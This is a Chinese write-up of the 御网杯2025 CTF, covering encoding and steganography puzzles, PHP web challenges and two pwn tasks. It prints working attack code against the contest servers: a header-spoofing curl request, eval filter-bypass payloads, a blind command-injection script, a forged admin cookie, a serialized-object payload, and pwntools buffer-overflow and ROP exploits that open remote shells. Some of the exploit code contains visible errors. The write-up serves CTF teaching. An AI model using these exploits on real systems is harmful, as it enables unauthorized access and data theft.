文章总结: 本文提供了御网杯2025CTF赛事的WriteUp,涵盖Crypto、Misc、Web及Pwn四个方向。作者认为赛题偏向基础,适合新手训练。文中详细记录了RSA计算、隐写分析、XFF伪造、命令注入绕过及栈迁移等解题过程,并给出了Python脚本与Payload,有助于CTF初学者理解相关安全技术的实际应用。 综合评分: 75 文章分类: CTF,WEB安全,二进制安全,实战经验

base64解密拿到flag
flag{HNCTFmZ5bM1ZYAi7}
easy_misc
解题思路
十进制转字符 -> base64解码 -> rot13
From Decimal, From Base64, From Base58 – CyberChef
flag{HNCTF2ypZRYzFeH6U}
套娃
解题思路
附件第一步套娃.xlsx改为套娃.zip然后解压
解压得到套娃.txt,然后还是改成.zip
发现这是Word文档的特征,于是后缀改成.docx
flag被改成白色了
flag{HNCTF0hZFXnNia}
Web
YWB_Web_xff
题目代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>企业门户登录系统</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="background"></div>
<div class="container">
<div class="header">
<h1>企业门户登录系统</h1>
<p>欢迎使用企业门户系统</p>
</div>
<div class="content">
<form class="login-form" method="post" action="">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" id="username" name="username" required>
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" name="password" required>
</div>
<button type="submit" class="login-btn">登录</button>
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
if ($cip == "2.2.2.1") {
echo '<div class="success">';
echo '<h2>登录成功!</h2>';
$flag = file_get_contents('/flag.txt');
echo '<p>flag{' . htmlspecialchars($flag) . '}</p>';
echo '</div>';
} else {
echo '<div class="error">';
echo '<h2>登录失败</h2>';
echo '<p>IP地址验证失败</p>';
echo '<p>当前IP: ' . htmlspecialchars($cip) . '</p>';
echo '</div>';
}
}
?>
</div>
<div class="footer">
<p>© 2024 企业门户系统 | 技术支持</p>
</div>
</div>
</body>
</html>
解题思路
通过源码得知要使用post请求传入ip2.2.2.1
解题代码
curl -X POST http://47.105.113.86:40001/ -H "X-Forwarded-For: 2.2.2.1"
flag{9u60w1kemajt}
YWB_Web_命令执行过滤绕过
题目代码
<?php
\# flag in flag.php
include("flag.php");
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/system|exec|highlight|show_source|include|passthru|echo|print_r|cat|head|tail|more|less/i", $cmd)) {
if (preg_match("/flag/i", $cmd)) {
eval($cmd);
} else {
die("HACK!!");
}
} else {
die("HACK!!!");
}
} else {
highlight_file(__FILE__);
}
?>
解题思路
由题可知要进行命令执行过滤绕过
先尝试flag.php
发现在/tmp/flag.nisp中再次构造
解题代码
curl "http://47.105.113.86:40002/index.php?cmd=var_dump($flag);//flag"
curl "47.105.113.86:40002/index.php?cmd=var_dump(file_get_contents('/tmp/flag.nisp'));//flag"
flag{rpuqari28i9l}
easyweb
题目代码
<?php
if (isset($_POST['cmd'])) {
@exec($_POST['cmd'], $res, $rc);
// echorc;
} else {
echo "It works!";
}
show_source(__FILE__);
?>
解题思路
访问页面,发现源代码阅读代码需要用post请求来访问,提示flag在/flag.txt中的文件中,写出时间盲注脚本
解题代码
import requests
import time
TARGET_URL = "http://47.105.113.86:40005/"
FLAG_CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"
TIMEOUT_THRESHOLD = 3 # 延迟阈值(秒)
MAX_FLAG_LENGTH = 50 # 假设flag最大长度
REQUEST_TIMEOUT = TIMEOUT_THRESHOLD + 2 # 请求超时时间
def check_char(position, char):
"""检查指定位置的字符是否匹配"""
cmd = f"if [ $(cut -b {position} /flag.txt) = '{char}' ]; then sleep {TIMEOUT_THRESHOLD}; fi"
try:
start_time = time.time()
requests.post(TARGET_URL, data={"cmd": cmd}, timeout=REQUEST_TIMEOUT)
return time.time() - start_time >= TIMEOUT_THRESHOLD
except requests.exceptions.RequestException:
return False
def main():
flag = ""
for position in range(1, MAX_FLAG_LENGTH + 1):
char_found = False
for char in FLAG_CHARSET:
if check_char(position, char):
flag += char
char_found = True
print(f"[+] Current flag: {flag}")
break
if not char_found:
print("[!] No more characters found, exiting...")
break
print(f"\n[+] Final flag: {flag}")
if __name__ == "__main__":
main()
flag{d4ek6s7kzztx}
YWB_Web_未授权访问
解题思路
可以看到默认cookie是O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A0%3B%7D
URL解码后是user=O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;}
因此将其修改成O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D重新访问
flag{zo84fpgxr98h}
YWB_Web_反序列化
题目代码
<?php
function filter($name){
$safe = array("flag", "php");
return str_replace($safe, "hack", $name);
}
class mylogin {
var $user;
var $pass;
function __construct($user, $pass) {
$this->user = $user;
$this->pass = $pass;
}
}
if ($_POST['msg']) {
$filtered_input = filter($_POST['msg']);
$a = unserialize($filtered_input);
if ($a instanceof mylogin) {
if ($a->pass === "myzS@11wawq") {
exit();
} else {
$tis = "您是小自吧,差一点就成功了!";
}
} else {
$tis = "您输入的信息可能去非洲才能找到哦!";
}
}
?>
解题思路
看到代码就得明白,filter()仅仅是不让你非预期拿到flag,所以解题主要还在下面的反序列化上。 这里user可以随便输入,pass必须得是myzS@11wawq,其它就没有什么需要注意的了,直接写代码构造一个对象,然后输出序列化后的数据,最后输入给服务器就可以拿到flag了。
解题代码
<?php
class mylogin {
var $user;
var $pass;
}
// 创建新的对象
$obj = new mylogin();
$obj->user = "admin"; // 用户名可任意
$obj->pass = "myzS@11wawq";
// 序列化
echo serialize($obj);
?>
O:7:"mylogin":2:{s:4:"user";s:5:"admin";s:4:"pass";s:11:"myzS@11wawq";}
flag{ptn4pymi1h7o}
Pwn
Canary
解题思路
如图
解题代码
from pwn import *
from ctypes import *
from LibcSearcher import *
p = remote('47.105.113.86',30001)
# p = remote('192-168-1-40.pvp4566.bugku.cn',9999)
# p = process('./attachment-8')
context.clear(arch='amd64',os = 'linux',log_level = 'debug')
# context.terminal = ['tmux', 'new-window']
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
bd=0x401581
payload=b'a'*104+p64(0)+p64(0)+p64(bd)
sla(b'choice',b'1')
sla(b'code',payload)
sla(b'choice,b'2')
sl(b'3')
shell()
flag{1718540cbc6107c443d227156e50bd72}
ez_pwn
解题思路
栈迁移
解题代码
from pwn import *
from ctypes import *
from LibcSearcher import *
p = remote('47.105.113.86',30003)
# p = remote('192-168-1-40.pvp4566.bugku.cn',9999)
# p = process('./attachment-8')
libc = ELF('./libc-2.31.so')
context.clear(arch='amd64',os = 'linux',log_level = 'debug')
# context.terminal = ['tmux', 'new-window']
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
read_got = elf.got['read']
wirte_plt = elf.plt['write']
main = 0x4011E9
bss_addr = 0x404000
rdi=0x4012c3
rsi_r15=0x4012c1
rbp=0x40117d
pay = b'a'*0x20+p64(bss_addr+0x300)+p64(rdi)+p64(2)+p64(rsi_r15)+p64(read_got)+p64(0)+p64(write_plt)+p64(main)
sla(b'now',pay)
readl_addr = u64(rc(6).ljust(0x8,b'a')) - 0x110fa0
payload2=b'a'*0x28+p64(0x4012bc)+p64(0)*4+p64(0xe6aee+real_addr)
sl(payload2)
shell()
flag{a51a3bdf23919f677efccd90270da72f}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《御网杯2025 WriteUp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论